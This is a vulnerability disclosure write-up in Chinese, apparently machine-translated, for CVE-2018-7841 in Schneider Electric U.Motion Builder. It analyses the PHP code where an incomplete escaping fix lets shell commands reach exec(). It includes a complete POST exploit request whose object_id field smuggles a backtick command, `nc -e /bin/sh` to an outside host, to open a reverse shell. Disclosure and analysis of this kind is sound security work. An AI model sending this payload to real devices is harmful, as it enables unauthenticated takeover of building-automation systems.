我在物联网设备上遇到了一个未经身份验证的远程执行代码漏洞(称为CVE-2018-7841),该漏洞显然是使用施耐德电气提供的名为U.Motion Builder 的组件。
虽然我发现它使用我常用的BurpSuite foo,但我后来注意到已经有一个关于ZDI发布的非常类似的问题的公开咨询,名为Schneider Electric U.Motion Builder track_import_export SQL Injection Remote Code Execution Vulnerability(ZDI-17-) 378)又名CVE-2018-7765)。
但是,ZDI顾问仅列出了该问题的简短摘要:
track_import_export.php处理过程中存在特定缺陷,该缺陷在没有身份验证的Web服务上公开。在applet调用上选择导出操作时,底层SQLite数据库查询将在object_id输入参数上进行SQL注入。远程攻击者可以利用此漏洞对数据库执行任意命令。
所以我仔细看了一下源代码,并偶然发现绕过CVE-2018-7765 ,这是之前(未完全)由施耐德电气在U.Motion Builder的1.3.4版本中修复的。
截至今天,由于我的报告,该产品已于2019年3月12日退休,因此该问题尚未确定,将来也无法解决。
(不完整)修复
U.Motion 1.3.4包含易受攻击的文件/smartdomuspad/modules/reporting/track_import_export.php,其中应用程序根据连接的object_id构造一个名为$ where的SQlite查询,该查询可以通过GET或POST提供:
switch ($op) {
case "export":
[...]
$where = "";
[...]
if (strcmp($period, ""))
$where .= "PERIOD ='" . dpadfunctions::string_encode_for_SQLite(strtoupper($period)) . "' AND ";
if (!empty($date_from))
$where .= "TIMESTAMP >= '" . strtotime($date_from . " 0:00:00") . "' AND ";
if (!empty($date_to))
$where .= "TIMESTAMP <= '" . strtotime($date_to . " 23:59:59") . "' AND ";
if (!empty($object_id))
$where .= "OBJECT_ID='" . dpadfunctions::string_encode_for_SQLite($object_id) . "' AND ";
$where .= "1 ";
[...]
你可以看到object_id首先被string_encode_for_SQLite方法解析,除了删除一些其他不可读的字符(参见dpadfunctions.class.php):
function string_encode_for_SQLite( $string ) {
$string = str_replace( chr(1), "", $string );
$string = str_replace( chr(2), "", $string );
$string = str_replace( chr(3), "", $string );
$string = str_replace( chr(4), "", $string );
$string = str_replace( chr(5), "", $string );
$string = str_replace( chr(6), "", $string );
$string = str_replace( chr(7), "", $string );
$string = str_replace( chr(8), "", $string );
$string = str_replace( chr(9), "", $string );
$string = str_replace( chr(10), "[CRLF]", $string );
$string = str_replace( chr(11), "", $string );
$string = str_replace( chr(12), "", $string );
$string = str_replace( chr(13), "", $string );
$num = str_replace( ",",".", $string );
if ( is_numeric( $num ) ) {
$string = $num;
}
else {
$string = str_replace( "'", "''", $string );
$string = str_replace( ",","[COMMA]", $string );
}
return $string;
$ query之后用于调用$ dbClient-> query():
[...]
$query = "SELECT COUNT(ID) AS COUNTER FROM DPADD_TRACK_DATA WHERE $where";
$counter_retrieve_result = $dbClient->query($query,$counter_retrieve_result_id,_DPAD_DB_SOCKETPORT_DOMUSPADTRACK);
[...]
的查询()方法中可以找到dpaddbclient_NoDbManager_sqlite.class.php:
function query( $query, &$result_set_id, $sDB = null ) {
$this->setDB( $sDB );
define( "_DPAD_LOCAL_BACKSLASHED_QUOTE", "[QUOTEwithBACKSLASH]" );
$query = str_replace("\\"", _DPAD_LOCAL_BACKSLASHED_QUOTE, $query);
$query = str_replace("\"", "\\"", $query);
$query = str_replace("$", "\$", $query);
$query = str_replace( _DPAD_LOCAL_BACKSLASHED_QUOTE, "\\\\"", $query);
$query_array = explode(" ", trim($query) );
switch ( strtolower( $query_array[0] ) ) {
case "insert":
$query = $query . ";" . "SELECT last_insert_rowid();";
break;
case "select":
default:
break;
} $result_set_id = null;
$sqlite_cmd = _DPAD_ABSOLUTE_PATH_SQLITE_EXECUTABLE . " -header -separator '~' " . $this->getDBPath() . " \"" . $query . "\"";
$result = exec( $sqlite_cmd, $output, $return_var );
[...]
在这里,您可以看到查询字符串(包含object_id)是通过一堆str_replace调用提供的,目的是过滤掉危险字符,例如$ for Unix命令替换,并且在片段末尾,您实际上可以看到另一个字符串$ sqlite_cmd与先前构建的$ query字符串连接,最后传递给PHP exec()调用。
漏洞利用
显然,施耐德电气试图通过以下方式解决之前报告的漏洞:
$query = str_replace("$", "\$", $query);
正如您可能已经猜到的那样,仅仅过滤掉$不足以阻止命令注入exec()调用。因此,为了绕过str_replace修复,您可以简单地使用反引号运算符,如以下示例请求中所示:
POST /smartdomuspad/modules/reporting/track_import_export.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=l337qjbsjk4js9ipm6mppa5qn4
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
op=export&language=english&interval=1&object_id=`nc -e /bin/sh www.rcesecurity.com 53`
产生一个漂亮的反向shell:
关于披露过程的几点看法
我在2018年11月15日第一次联系了施耐德电气。此时他们的漏洞报告表格根本没有发生任何错误。所以我试图通过Twitter联系他们(通过公共推文和通过DM),同时我也提到他们的报告表格根本不起作用。虽然我没有收到任何回复,但表格在某些时候是固定的而不让我知道。所以我已经发送了漏洞的所有细节,并告知他们我从11月开始的45天披露政策。从今天起,与CERT的沟通进展顺利,我同意将披露日期延长至120天,以便给予他们更多时间来解决问题。最终整个产品退役了 在2019年3月12日,这就是我将此披露延迟了两个月的原因。
- CONFIRM:HTTPS://www.schneider-electric.com/en/download/document/SEVD-2018-095-01/
- FULLDISC:20190514 [CVE-2018-7841]施耐德电气U.Motion Builder <= 1.3.4 track_import_export.php object_id未经验证的命令注入
- 网址:HTTP://seclists.org/fulldisclosure/2019/May/26